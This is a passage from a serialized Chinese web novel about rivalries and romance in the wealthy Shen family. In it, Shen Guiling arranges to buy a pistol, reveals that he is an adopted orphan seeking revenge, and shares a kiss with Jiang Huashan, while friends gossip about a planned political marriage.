盲枝应声而落。 知道以沈归灵的性格必定不会回答,沈清予笑了笑,换了个话题。 “我虽然看不惯沈兰晞,但是,我会尊重爷爷的选择。你和沈谦之间的事我管不着,但是如果你帮着沈谦拿什么不该拿的,影响了爷爷的决策,我可不会答应。” 沈归灵放下了剪刀,转身看向沈清予。平静反问,“什么是我不该拿的?” 沈清予皱眉,“少装蒜。” 沈归灵,“沈家我没兴趣,别的就另当别论了。不过,就算我要争,着急的也是沈兰晞,你出什么头?沈兰晞要是争不过我,那是他没本事。我抢我的,你要看不惯,也可以凭本事抢回去。” 沈清予并未参透沈归灵的言外之意,只当他说的是沈家的主权,想了想,点头附和,“你这么说,也没有毛病。” 他豁然开朗,转身挥挥手,“行了,那就这么招吧。” 他本来就是来打发时间的,说什么都无所谓。 “听说,你手里有一批军火。”沈归灵忽然开口。 沈清予脚步一顿,偏头打量他,“你听谁说的?” 不等回答,沈清予又无所谓耸了耸肩,“没错,不过你知道了又能怎么样?我的交易权在M国,那里军火自由,你就算告诉爷爷,我也不怕!” 沈归灵,“我要买。” “……你要买?”沈清予神情怪异,“你买那玩意儿做什么?” 沈归灵,“找你买东西还要配合调查?” “……”沈清予很想说不卖,但!有钱不赚王八蛋,尤其是沈二傻的钱,他懒得计较,“行,要多少写个单子。” 沈归灵,“我只要一把伯莱塔BU33 NanO。” “零售?”沈清予一点兴趣都没有了,“找别人去。” “别人不卖。” “……”沈清予被气笑了,“别人不卖,我就卖,我是什么很贱的人吗?” 沈归灵面带微笑,“这次沈谦让我做的事有可能会没命,我需要一把手枪防身。万一出了什么事,军械会被查出来历,只怕会连累沈家,但别的渠道我又不放心。” 沈清予沉默片刻,有些不耐,“行,卖给你。但不能在A国交易。” 沈归灵点头,“我这次的目的地是S国,你有窝点?” 沈清予斜睨了他一眼,“是根据点,只有上不了台面的才叫窝点。事先说好,你要是擦不干净屁股可别连累我。不过,就算你指认我也没用,从我这出的货,除了我自己,没有人能查出来。” 沈归灵笑了笑,“那我就放心了。” * 另一边,苏妙蹲在花廊下,细心挑好了一篮筐的花,站起身,“就这些吧,到时候我做成干花,也给你寄一些回来。” 姜花衫有些不舍,“已经决定了吗?” 苏妙点头,“嗯。海兰国际法学院是政法学子心中最圣神的殿堂,原本只有大三才有申读的机会,但老师破格给了我。老师的身体状态越来越差了,留给我的时间不多了。” 姜花衫提醒她,“这条路会很辛苦的。” “我知道。但我了解自己,如果我一直停留在原地,我只会想依靠你。可是……我将来要做的,是成为无数无力潜行者的依靠,我是时候该成长了。” 能说出这样一番话,说明苏妙已经有了觉悟。 姜花衫说不上是欣慰还是释怀,原来不被定义的她们,是可以活成这样的。 她没有苏妙这么伟大的志向,她不想成为无数人的伞,她只想为一人改写结局。 但她喜欢这样的苏妙。 姜花衫笑了笑,摘了一朵向日葵放进她的篮子,“决定了,就去做吧。天涯海角,总有重逢的一天。” 苏妙眼角隐隐挂着泪水,点了点头。 如果没有周绮姗,她不会生出这么大的勇气,她实在很想知道,周琦姗连命、连身份都不要了,到底守护的是什么? 虽然她现在不懂,但她坚信,总有一天她和周绮姗会在殊途同归的终点相遇,然后她可以很骄傲地告诉她: -“我足够有资格做你的朋友了。” * 一个小时后。 关楼和关鹤从沈园出来。 关鹤一头雾水,“爸,您说沈家老爷子这是什么意思?沈谦是入局还是不入局?” 这一个小时他就跟听天书一样,每个字都听懂了,但合在一起一句都听不懂,临走时还被关楼压着头鞠躬道歉。 关楼捏了捏眉心。 沈庄的意思已经很明显了,这次沈谦不会入局,不然他临走时也不会摁着关鹤行那么大的礼。 这臭小子真是一点慧根都没有。 他正想着该从哪个方向指导,关鹤突然失控,指着前面苏家的车大骂。 “苏妙,你别走,刚刚那事还没完。” 苏妙手里提着花篮,正要上车,听见关鹤找茬的声音,当即转过身,“你怎么这么贱?上赶子来找骂?” 苏家的保镖见情况不妙,立马绕车挡在苏妙身前。 嘿! 真是世风日下,现在什么人都敢上来踩他一脚了?! 关鹤撸起袖子就准备硬刚。 苏妙懒得搭理他,转身上车,关鹤被保镖拉住,吃了一车尾气脸色黑如锅底。 “你给我等着,等以后……有治你的时候。” 关楼皱眉,一脸古怪看着关鹤,“你……就这么追女孩子的?” 刚刚进大门的时候他就看出来了,人家姑娘好端端在前面走着,这蠢东西眼睛发光闻着味就上去了。 “追?!”关鹤盛怒之下一时没转过弯,以为关楼说的是自己追车的事,狠狠道,“算这死丫头跑得快,不然……” “不然什么?”关楼眸光炯炯有神。 关鹤一点没察觉,对着空气挥了一圈,“不然老子跟去她家里揍她!” 还想追去苏家?! 关楼不觉又想起关鹤一年前跟自己提起,说喜欢苏妙的事,脸色严肃了几分。 眼下沈家不参与,如果跟苏家结亲,不仅总统之位无虞,还可以解决关家传宗接代的大事。 可行。 关楼摆出一副任重道远的表情,“行了!等消息吧。” …… 第722章 不被看见的偏爱 在沈归灵这打发完了时间,沈清予估摸着时间差不多了,二话不说转头就去了菊园。 莫然一直留心观察庭院的动静,直到沈清予离开才从主厅走了出来。 她看着沈清予的背影,““少爷,您若是需要一把防身手枪,我也可以替您办到,但直接告诉清予少爷您的目的地,对您来说会不会太危险了?” 沈归灵看着菊园的方向,淡淡道,“我的行踪根本瞒不住,与其遮遮掩掩不如开诚布公。” 身份永远是他的把柄,与其受制于人,不如想办法化被动为主动。 莫然若有所思,不着痕迹打量了沈归灵一眼又垂下眼。 * 送走苏妙,姜花衫情绪不高躺在花架下乘凉。 “怎么了?无精打采的?”沈清予推门而入,手里还提着一个密码箱。 姜花衫还想着苏妙的事,兴致缺缺,“你怎么来了?张妈出去摘莲蓬了,那里有水,你自己倒。” 沈清予习惯了她这调调,走进花架直接把她拎了起来。 “小小年纪怎么一点朝气都没有?” 姜花衫瞬间满血复活,一巴掌拍下他的手,“你倒是有朝气,越活越年轻,明年咱们可就是同窗了。” “……”沈清予被气笑了,仗着身高的优势,抬手对着姜花衫的头发就是一阵乱薅。 眼看姜花衫就要真火,他立马松手,随手拉过的竹椅,财大气粗把密码箱往桌上一放,眼看那巴掌就要招呼过来,他慢条斯理打开箱子。 姜花衫眯了眯眼,感觉被什么闪到了,手掌悬空停在沈清予的右侧脸。 “这是……什么?” 沈清予,“哥哥给你的见面礼。” “这么多?”姜花衫看了他一眼,确认不是玩笑话,略有些不自然收回了手。 “见面礼?这么说,绥尔和眠枝也有?” 沈清予嘴角顿了顿,又笑了过去,“那……那当然,你们都有,我哪能厚此薄彼?” “哇哦!”姜花衫这心安理得坐了下来,翘着嘴角将眼前一箱珠宝拖到眼前欣赏。 这些年,跟着沈娇,她的眼界又提升了不少,上一世她的很多珠宝都是方眉在打理,方眉的品位哪能和沈娇比,也多亏了她那张脸才撑起了脸面。 但沈清予给她这一箱东西,虽说不能跟沈娇的收藏级相比,但已经是难得的珍品了。 姜花衫有些怔愣,“这些都是给我?” 沈清予,“都拿来了,我要能要回去?” 姜花衫瞪圆了眼睛看着他,“绥尔和枝枝也人手一箱?” “……”沈清予被问沉默了。 一箱是一箱,但傅绥尔的是一箱考政的书,沈眠枝是一箱棒槌。 姜花衫顿时眼睛放光,“可以啊沈清予,所以说!是金子去哪都可以发光!你才出去一年,随手就是一箱珠宝!天才!!绝对的天才!!” 沈清予原本还打算解释两句,听了这话,瞬间变成了翘嘴,到嘴边的词都咽了下去。 “你现在意识到这点也不算晚。” 拿人手短,姜花衫忙不迭起身,拎着茶壶给沈清予倒茶,“喝茶。” 这些年,沈清予总是三天两头给她投喂,妥妥的榜一大哥,不像沈龟灵那个赔钱货,年年拉她入伙搞投资,之前三亿,后来又投了两千万,只见出不见进。 “行了,这里就我们两人,别整这些有的没的,”沈清予顺手端杯,美滋滋喝了一口,抬眸眼了她一眼,见她眼里笑容纯粹,眼眸变了变,不动声色垂下眼。 “那个,我今天来就是告诉你,我过两天就要回西湾了。” 又一个要走。 也不知道从什么时候开始,他们已经很少像以前一样了,虽然知道剧情如此,但姜花衫还是有些感慨。 “这次大概又要什么时候回来?” 沈清予从作没把握的承诺,认真想了想,“不知道,最近顾家有些不太平,等这些事处理好了,才能空下来。” “顾家?”姜花衫忽然灵光一闪,“顾家的祖籍好像是在西湾吧?你去西湾,是因为顾家老宅那边出了什么问题吗?” 沈清予愣了愣,万万没想到姜花衫竟然这么聪明,一猜就猜中。 “怎么了?” 见她面带关切,沈清予立马摇了摇头,几乎没有犹豫就和盘托出,“顾家在A国原本也是名门大族,只可惜从祖上三代后便开始没落,虽说如今权势远不如咱们,但旧疾沉疴已经病入膏肓。有人泄露了婆婆与我外公的私密,现在族长要驱逐婆婆出顾家,并收回我外公当年的资产。” 这话他从没有对任何人说过,即使沈庄都不曾。因为在他眼里,姜花衫是无害的,她只不过是在担心他。 “怎么顾家也这么多老封建,但顾奶奶可是顾家的大家长,那些顾氏族人凭什么驱逐她?”姜花衫神情微变,忽然想到什么,轻声道,“私密?难不成,你舅舅不是你外公的亲生……” 沈清予眉心跳了跳,一把捂住她的嘴巴。 “……”这下换姜花衫愣了愣,那双桃花眼在修长的手掌上睁得溜圆,自然上挑的眼尾因惊愕洇出三分水光。 周遭的风好像都停了,擂鼓般的心跳疯了一般撞击着耳膜,沈清予不敢多看一眼,只任由那点温热顺着掌心往上爬,一路烧到耳根。 他心如死灰放下手。 “不是?”姜花衫皱了皱眉,很努力在推断剧情,“那是你婆婆杀了……” 沈清予闭眼,又一巴掌捂了回去。 “嗯嗯嗯……” 她被捂了嘴还不消停,柔软的肉唇低呢着掌心,沈清予喉结动了动,这触动的感觉让他直呼歹命,吧唧一把掐住姜花衫的脸。 “都不是!!是我外公早在离世之前就已经跟婆婆签署了离、婚、协、议、书!” 他说这话的时候,咬牙切齿,也不知道在恨什么?转眼看见姜花衫被捏嘟的嘴,恨也泄了气,一把松开指尖,猛地站起身。 “我还有事,就先这样了。” 说完,也不看姜花衫是什么反应,转头出了庭院。 “诶?我还没问完呢?”姜花衫刚站起身,眼前已经查无此人了。 “……” * “畜生!畜生!” 身后的菊园仿佛是龙潭虎穴,沈清予一边暗骂一边逃离,回到梅园,生生灌了三杯水也勉强冷静下来。 一个小时后,沈清予招呼都没打,直接去了西湾。 傅绥尔和沈眠枝莫名其妙又收到了一箱礼物,但因为有前车之鉴,这次的礼物被随意搁置在角落无人在意。 …… 第723章 一半的秘密 夜晚。 沈园落满霓虹,院里响起了蝉鸣。 姜花衫单手托腮,把弄着眼前的宝石。 她之前因为顾家曾干预过未央台事件,对顾老太太一直耿耿于怀,但是当她得知,原来老太太拿着一纸离婚书以女流之躯对抗了一个老式家族,不觉又肃然起敬。 顾老太太何尝又不是另一个视角下的武太奶? 若她记得不错,顾家老太太也活不了几年了,上一世,她病危一个月前,沈清予才同意和蓝家定了亲。 订婚宴很简单,沈家甚至都没有收到请帖。这么看,或许当年的事,也另有隐情。 “叮咚——” 正当她想的入神,手机跳出一条消息。 姜花衫看了一眼,眼神微变,犹豫片刻一把抱起小可怜,对着主厅喊道,“张妈,我带小龟出去散步了。” 张妈听见声音,立马从主厅走了出来,一脸欣喜,“好好。时候还早,多出去走走就对了。” 她每天不是躺着就是趴着,为此张妈不知道有多苦恼,每次听见她要出去散步,恨不得敲锣打鼓送她出去。 姜花衫呵呵笑了笑,有些心虚点了点头。 出了菊园,她一路往养生馆的方向走去,这里从被改成泳池后,晚上基本没什么人。 姜花衫推开院门,探着脖子往里面看了看。 月光下,一道冷清疏影落在泳池旁的青石地砖上,她眼神微动,掩上门悄无声息走了过去。 “嘘~” 沈归灵早就听见了院外的动静,被她这警惕的模样逗笑了,感觉到身后之人靠近,沈归灵转过身,“是我。” 姜花衫这才放下警惕,抱着小可怜冲上前,“你找我?” 从十八岁后,沈娇明令禁止姜花衫和任何成年男性在房间单独相处超过十分钟,尤其是沈归灵。 姜花衫知道沈娇是好意,并未违逆,只是单纯好奇为什么十分钟。 沈娇隐晦道,“超过十分钟可以做很多事情,但十分钟之内能做的有限,女人忍一忍就过去了,男人可不行。我本来拦的就是他们,规矩自然是给他们的。” “……” 自此之后,她和沈归灵每次密谋都要避开菊园,一来二去就找到了现在这个秘密基地。 “嗯。”沈归灵拉着她,直接转去了之前训练的小黑屋。 虽然现在已经不需要训练了,但沈庄还是保留了三人的房间,屋子一直有人打扫,干净如新。 屋里不方便放灯,沈归灵关上门,又把两扇木窗打开,两人靠在窗下,清冷的月光如薄纱般倾泻而入,在地面铺开一片银霜,影子交叠落在地面,不知道的还以为是一对相拥的恋人。 “出什么事了?” 其实昨天沈归灵被叫去姚公馆,姜花衫就一直想找机会问他,但白天人多眼杂不方便,要是今晚沈归灵不来找她,她明天也会设法联系她。 她的眼睛在黑夜里发光,沈归灵一时没忍住,抬手摸了摸她的眼睛。 姜花衫愣了愣,观察着他的神色,皱眉,“怎么了?姚歌又欺负你了?” 沈归灵摇头,“没有。” 姜花衫半信半疑,“真的?” 有一点,她一直很费解,以沈归灵的心性,怎么能忍姚歌忍到这种地步?他应该有很多种方法要姚歌的命,为什么要等到现在? “嗯。”沈归灵顿了顿,“有件事……我要出去几天?” “你也要走?” 怎么忽然大家都要走? 姜花衫细想了一下,盯着沈归灵的眼睛,“你去哪?” 如果只是单纯离开几天,沈归灵没必要特意把她约出来。 “S国。” 姜花衫凝眉,神色严肃了几分,“去干嘛?” 沈归灵轻叹了一声,抬手戳了戳她的眉心,“不要这么凶,我来找你就没有想要隐瞒,只是还没想好怎么说?” 姜花衫面无表情,“那你好好想,我先睡一觉。” 沈归灵低笑了一声,抬眸,“我去S国,是为了沈年。” 姜花衫神情一怔,“沈年?” 沈归灵点头,“对。” 接着,他把自己是如何说明沈谦布下生死假局的经过说了一遍,他并没有提起在姚公馆的事,因为,没有人能接受喜欢的人看见自己最不堪的一面。 哪怕他清楚地知道年少的弱与现在的他无关,也知道姜花衫或许不会在意,但依旧改变不了那可怜的自尊心作祟。 * 菊园。 张妈正拎着水壶在花园里浇水,忽然听见院外有人敲门,她立马放下手里的活,上前开门。 月光下,男人矜贵的侧脸俊美得不像话。 张妈一时看迷了眼,“兰……兰晞少爷?” 沈兰晞抬眸往绣楼看了一眼,“衫衫休息了吗?” 沈娇定下规矩时特意叮嘱过张茹,张茹不敢坏了规矩,并未把沈兰晞放进来,笑着说道,“小姐带着小乌龟出去散步了。” 散步? 这实在与姜花衫的人设不符。 沈兰晞迟疑了片刻,淡淡道,“去哪散步了?” 张妈摇头,“哟,这可不好说,也行就在前面的花池逛逛,但去冬园、春园找绥尔和眠枝小姐也说不定。兰晞少爷,您是有什么事吗?” “没事。”沈兰晞转身离开。 他原来打算回兰园,但转入中庭时忽然又改变了主意,往冬园的方向走去。 高止嗯了一声,默默跟在身后。 竟然还知道去找机会制造偶遇,开窍了!这次是真开窍了! * 小黑屋的氛围藏而不露。 姜花衫听完沈归灵的讲述,脸色直接沉了下来。 “不行!我不同意你去!” …… 第724章 光明正大 姜花衫不同意沈归灵去S国的理由很简单,沈年在S国谋划了足足十年,哪是这么好杀的? 上一世姚歌疯了,爷爷死了,沈年都没能回来,现在又怎么可能这么轻易就回来? 其实故事发展到这,她隐隐已经猜到了上一世关于二房的隐藏故事。 沈归灵怀着仇恨入沈园,但他的目的不是爷爷,而是沈谦一家,在他的复仇计划下,姚歌疯了,沈年终生不能回国,沈谦对他言听计从,甚至不惜废嫡立私,将自己半生打拼的基业都让了出来。 明明上一世,沈归灵的计划是分离二房,为什么现在要变成去S国杀人?这其中是为了谁,答案已经不言而喻。 但她不需要沈归灵为她做到这种地步,且不说剧目之力只有她能改变,沈归灵介入也没用,就算有用,她也不想欠下这么大的恩情。 姜花衫难得心平气和解释,“你听我说,沈年回来并不是坏事,我又不傻,不会做没有把握的事,你也不用为了帮我把自己置于如此险境。” 早在沈归灵坦白这件事之前,他就已经猜到姜花衫的态度。 若是别的事都好商量,但这次的局,置之死地而后生,若是他不能靠自己闯过去,他和姜花衫一定会出问题,所以,这个险值得冒。 沈归灵但凡能答应她的事,从不需要她多说一句,此时的沉默其实已经表明了态度。 姜花衫看出他去意已决,皱眉皱成了川字,“你还是要去?” 沈归灵点头,“嗯。” 姜花衫不解,“为什么?” 明明他上一世只是把沈年拦在A国之外,况且她都已经说了不需要他做到这种地步,沈归灵应该知道她的态度。 “为了给我自己一个交代。” 这个答案完全出乎姜花衫的意料。 她愣了愣,眼里的困惑多了几分,“为了自己?” 沈归灵沉默片刻,缓缓开口,“其实……我一直有个秘密没有告诉你。” 姜花衫神情微变,“秘密?” 沈归灵,“我……不是沈谦的孩子。” “……”姜花衫愣了一下,睁大了眼睛,“你说什么?” 沈归灵这话把她整懵了。 早在白王宫一行,她就隐约猜到沈归灵拥有一半白家血脉,但她怎么都没想到,竟然还有一半与沈家无关。 “你……你确定吗?是不是弄错了?”姜花衫还是有些不敢相信。 如果沈归灵不是沈家的孩子,爷爷这几年的教诲岂不为他人做嫁衣? 忽然!她想到什么,红唇微张,圆睁的瞳仁里光圈骤然坍缩。 原来如此…… 她知道爷爷为什么那么喜欢沈归灵却还是要把他赶出沈园了,因为他不是沈家人,他欺骗了沈家所有人。 这事好像就闭环了。 姜花衫感觉现在的脑子一团乱,“你……” 沈归灵没想到她会有这么大的反应,沉默片刻又接着说道,“我也不是舒沐的孩子。” 也不是舒沐? 姜花衫一下没反应过来,“那你是……谁的孩子?” 沈归灵摇头,“我不知道。我从三岁以后就知道自己是孤儿,我是被姚歌安排在舒沐身边的一颗棋子。” “姚歌?”故事的发展逐渐超出了姜花衫的想象,但因为过度离谱,她反而又冷静了下来。 这一瞬间,她忽然就明白了为什么沈归灵要一直忍受着姚歌的欺辱。 沈归灵,“姚歌恨我母亲夺走了沈谦的关爱,真正的沈归灵一出生,就被姚歌买通的护士抱走杀害了,而我是她从孤儿院抱来的弃婴。我从三岁知道自己的身世后,唯一的心愿就是带母亲逃离那个牢笼。” “但事与愿违,她还是死了。” “我入沈园,从始至终只有一个目标,那就是复仇。” 他平静讲述完自己的过去后,才敢抬头与姜花衫对视,“姚歌对我母亲做的那些事我永远无法原谅,所以,我必须让她也尝尝我母亲受过的滋味。” 这么说,她的确好像没有立场反对。 姜花衫缓和的神色,小声问道,“那你和沈年又是怎么认识的?” 人没有无缘无故的恨,沈归灵是个很有原则的人,从他复仇沈谦却不迁怒沈园其他人就可以看出。 所以,她猜他和沈年之间一定有一段不为人知的过去。 事实上也的确如此。 六岁那年,沈归灵因为不听话被姚歌毒打之后关进了密室,而沈年因为好奇姚歌的宠物,堂而皇之打开了密室。 那个时候沈年十三岁,不仅帮助沈归灵逃跑,还伪装成大善人欺骗他,会向姚歌求情放了他们母子。 沈归灵信以为真,在沈年的帮助下逃出了密室,可是沈年转眼就去跟姚歌告密,被抓之后,他迎来了一场更要命的毒打。 当时他血肉模糊躺在角落,沈年蹲在他面前嘻嘻哈哈。 “不是说你挺聪明吗?我看也不过如此,傻狗一样,又可怜天真~啧~” 但这些过去,沈归灵半分都不想谈及,只是隐晦地说了一句,“他是我第一个求救的人。” 姜花衫瞬间就懂了。 沈年性格恶劣,沈归灵落在他手里一定吃了不少苦,那么骄傲的人定然不想谈及那段过去。 她也没有勉强,眼神柔和了许多,“所以你这次去S国,是想跟自己的过去做个了断?” 沈归灵点头,“我入沈园从头到尾都是虚情假意,我知道自己要做什么,并不会因此感到抱歉,唯独爷爷……” 这年沈庄待他如何沈归灵是知道的,但就算知道也不能阻止他复仇的计划,他现在唯一能做的就是尽快还原真相。 可是如果他的身份暴露,他就再也没有对付沈谦一家的筹码了,所以,他想赶在身份被揭露之前完成复仇。 这些年他以身入局,南湾大部分势力都已经在他的掌控之中,他手里随便一张筹码都能让沈谦下台,至于姚歌,以他对沈年的了解,她的下场不死也残,最后也就只剩沈年的。 恰好沈年也是姜花衫的目标,所以S国这一趟不得不去。 “爷爷待我不薄,我虽放不下仇恨,但是我相信他。沈年和姚歌得到应有的惩罚后,我会将沈谦的罪状都交给爷爷,任他处置后离开沈园。” 沈归灵顿了顿,眼眉忽然变得温柔,“然后,我们就可以光明正大在一起了。” …… 第725章 我不要承诺,就要你 光明正大? 说来说去,其实还是为了她。 沈归灵不会知道,她看过他前世是怎么把所有人耍得团团转,所以现在无论他解释得多漂亮,都骗不了她。 他杀沈年,就是以身入局博一个光明正大。 因为他心里很清楚,沈年若是死了,这件事一定会彻查,而他的行踪根本就瞒不住,随着调查深入,他的身份也终将会揭晓。 若不求光明正大,他原本可以再蛰伏几年,就像上一世一样。 沈归灵等了一会儿,迟迟等不到回答,没由来地慌了起来。 “你……不是一直想当爷爷的孙女吗?这样我们之后身份就没有冲突了?你……你不愿意吗?” 他忽然意识到,所有一切安排都是他一厢情愿。 姜花衫摇头,“你有没有想过,沈谦沈年毕竟姓沈,你对他们出手就是对沈家出手,不管你有什么苦衷,沈家未必会原谅你,还有爷爷……” “我不管他们,我就问你,你愿意吗?” 沈归灵喉结急促滚动,脖颈绷出青色的弦,他死死看着她的唇间,像刑徒盯着唯一能赦免他的审判。 于他而言,其他人都不重要,他只要姜花衫的心意,如果这一切对她来说只是累赘,他又何必感动自己? 姜花衫指尖微缩,到嘴边的话梗在喉间滚了滚又咽了回去。 沈归灵眸光湮灭,片刻后收回了咄咄逼人的视线。 “我知道。” 他不该问的。 做决定的是他,想要光明正大的也是他,他逼着姜花衫应口就是把自己的意愿强加在她的身上。 他恢复了往日的从容,主动换了个话题,“那,你能替我保守秘密吗?” 姜花衫点头,“可以。” 沈归灵笑了笑,“时候不早了,先回去吧。” 姜花衫站起身,走到门口又停了下来,“喂,你记住啊,我可什么都没有答应你 。” 沈年可没那么好杀,上一世沈归灵一定也是知道这点,所以才想出让他们母子生死不复见的报复手段。现在为了她,沈归灵完全扭转了原本属于他那一部分的剧情,前路凶险前途未卜。 她不想看见这种玉石俱焚的场面,因为在她心里,一万个沈年都抵不上一个沈归灵,但这是沈归灵自己选的路,这条路有他的自尊也有他对舒沐的承诺,她拦不住。 所以,她更不能在这个时候给出任何承诺,因为她希望沈归灵在危难关头能先想到自己,选择全身而退。 沈归灵原本正偏头看着窗外的月色,听见这话,眸光忽然僵滞。 “吱呀——” 房门刚打开一条缝,姜花衫只觉背后掀起一阵凉风,砰得一声,门页又被压了过去,一截冷白皮的胳膊横在脸侧,抵着门页的手掌因为用力过度泛着青白。 身后不容抗拒的身躯,将她牢牢困在这一方狭窄的天地里。 姜花衫皱了皱眉抬头,“干嘛?你还……嗯嗯” 她才刚开口,声音还未完全溢出,就被他灼热的气息彻底封缄。 这个吻一开始并不温柔,甚至带着一丝掠夺的撕咬。 直到姜花衫嘶了一声,沈归灵缓回了劲,一只滚烫的大手轻轻托住她的下巴,鼻尖沿着嘴角亲昵点了点,哑声道,“我不要承诺了,我就要你,好不好?” “一天也可以,一个小时也可以,一分钟也可以。” “你疯……”姜花衫的呼吸一窒,刚要开口反驳,又被他俯身堵住了唇。 那吻来得又急又猛,带着不容置疑的强势,却又奇异地带着一丝克制,他没有深入,只是辗转厮磨,从嘴角到眼尾,很有耐心地邀请。 姜花衫的身体渐渐软了下来,不知是谁先张开的唇,当舌尖相触的刹那,沈归灵喉间溢出一声低哑的闷哼,像是压抑了许久的欲念终于找到突破口…… * 回到绣楼时,姜花衫整个人还是恍恍惚惚。 张茹一直数落她没有条理,哪能要就一天不动,要就走到大半夜才回家,要不是中途冬园那边打了电话过来,她差点就要大张旗鼓去找人了。 姜花衫听见冬园两个字头更大,不用想,肯定又是女王在给她打掩护,每次被沈娇这样体贴地包容,她的心情都复杂到了极点。 好在张茹唠叨了几句就走了,姜花衫泡了澡就躺进了被窝。 她安详地闭着眼,想让自己快点入睡,但事与愿违,翻来覆去脑海里都是他们翻来覆去的画面。 “烦死了!” 姜花衫一把掀开床单,捂着额头坐了起来。 狗东西,上哪学的那么多勾引人的手段? * 第二天清早。 姜花衫无比安详躺在花架下晒太阳,小可怜懒懒伸了伸脖子,在她脚下晃了两步又继续缩回龟壳。 “衫衫!” “还是绥尔小姐有朝气啊。”张茹看了姜花衫一眼摇摇头,笑着上前开门。 傅绥尔就像个小太阳,什么时候都能量满满,转眼看见姜花衫,一头雾水,“你这是怎么了?好像被人吸了精血一样?” 姜花衫摆摆手,“别提了,说了你也不懂。” 傅绥尔撇了撇嘴,挨着她坐下,“听说昨天妙妙来了?” “嗯。”姜花衫有气无力,“她说要去海兰国际法学院深造。” 傅绥尔沉默片刻,扣了扣额头,“这么巧,我来也是想告诉你,我要出去一趟。” 姜花衫瞬间惊醒,顶着一双熊猫眼坐了起来,“你也要走?去哪?” 傅绥尔没料到她反应这么大,吓了一跳,“去S国啊,我每年暑假都要去老师那学习,你忘了?” 从傅绥尔十二岁那年拜孔茂林为师,就一直有这样的规矩。 姜花衫这才想起来,又躺了回去,“还是跟随孔老师四处游学吗?” “这次是跟老师和其师兄一起切磋取经,听说还会有白家王室的人。对了,衫衫,我不在的时候你千万要盯紧枝枝,千万别让她做傻事。” 姜花衫眯了眯眼,“她怎么了?” 说到这,傅绥尔言语间多了几分怒气,“那傻子听说周宴珩没事了,大清早就赶去医院送爱心早餐了。” 姜花衫:“……” …… 第726章 虚情真意 周宴珩休养了一个星期,就从重症转到了普通病房,周家为了盯紧这根独苗,包下了整层病房。 三天前,周家开放了探视的时间,这几天病房前络绎不绝,不是与周家交好的权贵就是平时依附周宴珩的狗腿们。 这会儿好不容易安静下来,关鹤和乔金锦又突然造访。 关鹤在外人面前是说一不二的鲸港小霸王,在周宴珩面前就是情绪价值爆表的碎嘴子,从进病房就一直在骂骂咧咧。 “沈清予那臭小子,滚去西港以后一身的刻薄劲儿,他们沈家只看中沈兰晞,要不然他也不会被贬去顾家的老窝,也不知道他得瑟什么?” 乔金锦给自己倒了杯水,客观评价,“那倒未必,我可听说沈清予现在在西湾是人人都敬怕沈小爷,之前有几个家族仗着和顾家老宅的关系下了他的面子,他直接把人扫出了西湾。” 关鹤一脸狐疑,“你听谁说的,我怎么不知道?瞎说的吧?那傻逼还能有这本事?不过!有也不稀奇,狗仗人势罢了。” 乔金锦,“你们俩从小斗到大,你哪次在沈清予手里讨到过便宜?怎么还不吸取教训?” “嘿?”关鹤不服,“我上次怂……” “你刚刚说,沈家不打算竞争这次的总统大选?”病床上的人忽然开口,打断了两人的谈话。 关鹤愣了愣,转头看向周宴珩,“昂,我爸是这么说的。” 实则关楼还有一句,今天拜访沈家的事切记谁都不能说,周宴珩也不行,结果关鹤选择性听不见。 周宴珩垂眸,明显是在想事。 关鹤看了看乔金锦,见他也一头雾水,眼睛转了转,轻咳了一声,“哎呀,不说这些扫兴的话题了,我要跟你们分享一个天大的好消息。” 话音刚落,周宴珩抬眸看了过来,“天大的好消息?” “对!”关鹤抬头,勾了勾刘海,“老子要结婚了。” “结婚?”乔金锦眉头紧蹙,“谁家姑娘这么想不开?” 关鹤嘴巴咧开的嘴角瞬间僵硬,黑着脸推了乔金锦一把,“滚边去,老子人生大事,你严肃点。” 周宴珩倒是很严肃,盯着他打量了片刻,缓缓道,“苏韵?” 这名字一出来,面对两人都愣住了。 乔金锦是没想到苏韵眼光这么差,关鹤则是没想到周宴珩眼睛这么毒。 关鹤,“你怎么猜到的?” 周宴珩,“这还用猜?” 当初他早看出关鹤对苏韵不一般,但苏韵那样的人关鹤根本玩不转,恰巧苏韵主动送上门,他便想着当成猎物调教玩玩。 没想到因此发现了更有趣的猎物,正好那时真假千金的事闹得沸沸扬扬,周宴珩取舍后才放过了苏韵。 乔金锦还是有些不敢相信。 平心而论,苏韵除了最开始贫民窟的污点之外,几乎算得上是鲸港贵太太们心中最完美的联姻对象,以苏家老爷子的性子,怎么招也会去攀攀沈兰晞那根高枝,怎么会看上关鹤? 关鹤抓头笑了笑,正要解释,转眼看见乔金锦的眼神,瞬间黑脸,“你这什么眼神?我很差吗?” 乔金锦被他逗笑了,“这话你忽悠别人就算了,你怎么有脸在我面前问,你不差吗?你他么要是敢娶我妹妹,我非打死你!” “……瞧不起我?”关鹤点着乔金锦的肩膀,“我还就告诉你,这事我老爷子已经去办了,你等着瞧好了。” 乔金锦掸了掸肩上的灰,“我瞧个屁。” 他又不喜欢苏韵,她瞎眼跟他有什么关系? 关鹤忽然想到什么,神情收敛了几分,“那个,老乔,我有点事想跟阿珩单独聊聊,你先出去。” 乔金锦目光在两人之间转了一圈,点了点头,“行。” 等乔金锦关上门,关鹤慢吞吞走到床边,有些不自然抓了抓脖子,“阿珩,我有件事想拜托你。” 周宴珩,“是关于苏韵的?” 关鹤眼神有些闪烁,“韩洋说,你……那个……” 周宴珩抬眸,“你想问我有没有碰过苏韵?” 关鹤不敢看他的眼睛,极小幅度点了点头。 之前韩洋说的那些话,他一直耿耿于怀,之前他一直不敢问,是觉得为了一个女人去质问好兄弟丢面子。但现在苏韵可能会成为他的妻子了,不问,他心里过意不去。 周宴珩看出了他的纠结,淡淡道,“碰过又怎么样?没碰过又怎么样?” 关鹤听见前两个字心都悬了起来,回过神缓了足足半分钟,抓了抓耳朵,“碰过,你把照片给我,以后别招惹她。没碰过,这事就当我没问,韩洋说她脱了衣服,你要有照片,你把照片还我。” “……”周宴珩闭了闭眼。 关鹤顿时急了,上前一把揪住周宴珩的被子,“阿珩,你给我吧,那些照片你拿着也没用。” 周宴珩皱眉,一巴掌拍开他的手,“跟你说多少遍了,我没有做事拍片儿的癖好。” 关鹤一脸绝望,“那就是睡……” 周宴珩冷冷打断,“我没碰过苏韵。” 关鹤表情僵住,两眼发光,“真的?” “她的确曾经来求过我,也给出过她的诚意,但是每天来我这毛遂自荐的人那么多,她又不是最漂亮的那个,我不至于骗你。”周宴珩原本不想解释,但如果苏家和关家真的联姻,他也不希望苏韵是横在他和关鹤之间的雷点。 这话关鹤是信的,气得拍了拍大腿,“艹!阿珩,对不起啊,我不是故意要质疑你的。都怪那个韩洋,他说的跟真的似的,我……” 